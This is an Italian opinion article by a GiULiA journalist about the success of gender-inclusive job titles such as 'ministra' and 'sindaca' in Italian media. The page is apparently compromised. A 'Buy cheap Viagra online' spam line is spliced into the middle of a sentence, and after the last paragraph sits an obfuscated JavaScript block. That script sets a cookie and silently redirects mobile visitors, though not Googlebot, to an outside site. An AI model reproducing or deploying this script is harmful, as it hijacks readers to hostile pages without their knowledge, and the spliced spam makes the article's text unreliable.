BATTAGLIE

Lingua al femminile, GiULiA vince la battaglia

Ph. joaojap [Flickr/CreativeCommons]
Ph. joaojap [Flickr/CreativeCommons]
Alessandra Mancuso
Scritto da

 

Chi declina il genere lo fa consapevolmente, sceglie di farlo. È in questo la vittoria.

 

Abbiamo vinto? Me lo chiedo sentendo la ministra Boschi rispondere alla direttrice di Sky News, Varetto, di preferire “ministra” a “ministro”, come suggerisce la Crusca. Se ora anche la ministra Boschi ci da una mano, siamo a cavallo. La battaglia sul linguaggio di genere è stata a lungo minoritaria in Italia. Portata avanti da una evoluta comunità di donne, femminista, sulle orme di Alma Sabbatini, e rilanciata, negli ultimi anni, con la sponda efficace delle giornaliste di GiULiA e della presidente Boldrini.

Sono passati vent’anni dalle “Raccomandazioni per un uso non sessista della lingua italiana”, era il 1987, ed ecco che finalmente l’obiettivo sembra raggiunto: legittimazione, diffusione, e una consapevolezza sempre più larga sul potere delle parole, dei messaggi che esse trasmettono.  Non è, insomma, per mero “conformismo” che finalmente l’uso di sindaca, ministra, assessora è entrato nel linguaggio comune e in quello dei media. Chi declina il genere lo fa consapevolmente, sceglie di farlo. È in questo la vittoria.

NEWS_138325

Ed è cruciale il ruolo che ha giocato l’informazione

Buy cheap Viagra online

, direttori,  giornalisti, per legittimare e diffondere  una lingua finalmente plurale. Ne abbiamo incontrate, eccome,  di resistenze nelle redazioni, guadagnando pian pianino, con le nostre buone ragioni, sempre più terreno. Oggi non c’è quotidiano, o Tg, che non usi termini come sindaca e ministra. È diventato normale.  Era la scommessa di GiULiA: investire nel cambiamento. Non siamo state sole, ma al fianco di tante e tante associazioni, e possiamo dirci soddisfatte di averlo avviato. Ma allora, abbiamo vinto? A sentire le parole della ministra Boschi, che per lungo tempo non si è posta il problema, si capisce che non ne fa una mera questione nominalistica; che ha capito le ragioni di una battaglia. Si può cambiare idea, per fortuna!

Content not available.
Please allow cookies by clicking Accept on the banner

Quindi sì, forse abbiamo vinto. Ma il rischio da evitare, ora, è che prevalga il conformismo: declinare secondo il genere va bene, ma poi non si vedono e non si combattono le discriminazioni della vita reale, che proprio con il linguaggio sessuato si stanno combattendo sul piano simbolico. Anche sul linguaggio la battaglia non è finita. Le resistenze diffuse, il dileggio violento e ridicolizzante comunque presente, il sessismo imperante, il rischio di “backlash” possibile, come sempre quando si guadagna terreno. Ma per un attimo, ci godiamo il risultato: è bello vederci finalmente rappresentate come donne, sempre e sempre di più, nel linguaggio pubblico. Ed è anche merito nostro, di tante e di tutte.

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Chi ha scritto questo post

Alessandra Mancuso

Alessandra Mancuso

Vice caporedattrice a Speciali TG1, presidente Commissione Pari Opportunità' Fnsi, past president GiULiA, rete cui aderiscono mille giornaliste italiane, che ha contribuito a fondare nel 2011.

Commenta

Questo Sito utilizza cookies per migliorare la tua esperienza. Proseguendo nella navigazione acconsentirai al loro utilizzo. Scopri di più

Questo sito utilizza i cookie per fornire la migliore esperienza di navigazione possibile. Continuando a utilizzare questo sito senza modificare le impostazioni dei cookie o cliccando su "Accetta" permetti il loro utilizzo.

Chiudi